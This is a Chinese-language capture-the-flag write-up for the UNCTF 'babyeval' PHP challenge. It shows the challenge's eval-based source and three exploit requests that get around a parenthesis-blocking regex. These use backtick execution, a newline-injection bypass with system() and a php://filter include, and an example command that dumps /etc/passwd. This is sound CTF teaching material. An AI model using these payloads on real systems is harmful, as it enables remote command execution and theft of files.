UNCTF-WEB:babyeval(php執行運算符|php過濾括號|換行符繞過正則)

php執行運算符

代碼:

<?php
    echo `base64 /etc/passwd`;
?>

 

上面的代碼使用了反引號,PHP 將嘗試將反引號中的內容作爲 shell 命令來執行,並將其輸出信息返回(即,可以賦給一個變量而不是簡單地丟棄到標準輸出)

如果過濾了括號可以使用執行運算符去繞過進行輸出

 

題目源碼:

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
    ?>

 

exp1:php執行運算符

GET /?a=echo `base64 flag.php`

 

exp2:換行符繞過(%0a)

GET /?a=system(%27%0acat%20f*%20|%20base64%27);

 

exp3:利用include函數加php僞協議

GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;

 


參考:https://www.php.net/manual/zh/language.operators.execution.php

          https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020UNCTF

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章